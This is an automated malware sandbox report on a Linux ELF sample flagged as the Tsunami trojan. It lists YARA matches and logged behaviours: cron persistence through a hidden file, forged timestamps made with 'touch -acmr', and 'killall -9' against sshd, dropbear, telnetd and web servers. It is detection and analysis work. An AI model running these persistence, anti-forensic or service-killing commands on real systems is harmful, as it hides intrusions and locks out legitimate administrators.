Source: 5731.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5720.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5720.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5747.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5747.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5694.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5694.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5751.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5751.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5750.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5750.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5741.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5741.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5437, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5437, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5686, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5686, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5694, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5694, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5718, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5718, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5720, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5720, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5721, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5721, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5723, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5723, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5727, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5727, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5729, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5729, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5731, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5731, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5733, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5733, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5735, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5735, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5738, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5738, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5739, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5739, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5741, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5741, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5744, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5744, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5745, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5745, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5747, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5747, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5750, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5750, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5751, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5751, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5822, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5822, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: Process Memory Space: irq1.elf PID: 5952, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: Process Memory Space: irq1.elf PID: 5952, type: MEMORYSTR	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_

Source: classification engine

Classification label: mal100.troj.evad.linELF@0/4@2/0

Persistence and Installation Behavior

Executes the "crontab" command typically for achieving persistence

Source: /bin/sh (PID: 5452)	Crontab executable: /usr/bin/crontab -> crontab -l			Jump to behavior
Source: /bin/sh (PID: 5460)	Crontab executable: /usr/bin/crontab -> crontab /var/run/.x00740882966			Jump to behavior

Explicitly modifies time stamps using the "touch" command

Source: /bin/sh (PID: 5445)	Touch executable uses timestamp modification options: touch -acmr /bin/ls /tmp/irq1.elf			Jump to behavior
Source: /bin/sh (PID: 5478)	Touch executable uses timestamp modification options: touch -acmr /bin/ls /etc/inittab			Jump to behavior

Sample tries to persist itself using cron

Source: /usr/bin/crontab (PID: 5460)	File: /var/spool/cron/crontabs/tmp.yCJy74			Jump to behavior
Source: /usr/bin/crontab (PID: 5460)	File: /var/spool/cron/crontabs/root			Jump to behavior

Terminates several processes with shell command 'killall'

Source: /bin/sh (PID: 5509)	Killall command executed: killall -9 mini_httpd	Jump to behavior
Source: /bin/sh (PID: 5513)	Killall command executed: killall -9 minihttpd	Jump to behavior
Source: /bin/sh (PID: 5528)	Killall command executed: killall -9 httpd	Jump to behavior
Source: /bin/sh (PID: 5540)	Killall command executed: killall -9 telnetd	Jump to behavior
Source: /bin/sh (PID: 5545)	Killall command executed: killall -9 utelnetd	Jump to behavior
Source: /bin/sh (PID: 5549)	Killall command executed: killall -9 dropbear	Jump to behavior
Source: /bin/sh (PID: 5554)	Killall command executed: killall -9 sshd	Jump to behavior
Source: /bin/sh (PID: 5557)	Killall command executed: killall -9 lighttpd	Jump to behavior
Source: /bin/sh (PID: 5693)	Killall command executed: killall -9 sshd dropbear	Jump to behavior

Source: /bin/sh (PID: 5455)	File: /var/run/.x00740882966	Jump to behavior
Source: /bin/sh (PID: 5456)	File: /var/run/.x00740882966	Jump to behavior
Source: /usr/bin/crontab (PID: 5460)	Directory: /var/run/.x00740882966	Jump to behavior
Source: /bin/sudo (PID: 5708)	File: /home/saturnino/.sudo_as_admin_successful	Jump to behavior
Source: /bin/sudo (PID: 5698)	File: /home/saturnino/.sudo_as_admin_successful	Jump to behavior

Source: /bin/sh (PID: 5456)	Empty hidden file: /var/run/.x00740882966			Jump to behavior
Source: /bin/sudo (PID: 5698)	Empty hidden file: /home/saturnino/.sudo_as_admin_successful			Jump to behavior

Source: /usr/bin/killall (PID: 5540)	File opened: /proc/5380/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/230/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/110/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/231/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/111/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/232/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/112/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/233/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/113/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/234/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/114/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/235/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/115/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/236/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/116/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/237/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/117/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/238/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/118/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/239/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/119/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/3631/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/914/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/10/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/917/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/11/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/12/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/13/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/14/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/5275/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/15/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/16/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/17/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/18/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/19/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/240/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/3095/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/120/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/241/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/121/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/242/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/1/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/122/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/243/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/2/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/123/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/244/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/3/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/124/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/245/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/1588/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/125/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/4/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/246/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/126/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/5/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/247/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/127/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/6/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/248/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/128/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/7/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/249/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/129/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/8/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/800/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/9/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/1906/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/802/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/803/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/20/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/21/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/22/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/23/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/24/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/25/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/26/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/27/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/28/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/29/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/3420/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/1482/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/490/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/1480/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/250/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/371/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/130/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/251/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/131/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/252/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/132/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/253/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/254/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/1238/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/134/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/255/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/256/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/257/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/378/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/3413/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/258/stat	Jump to behavior
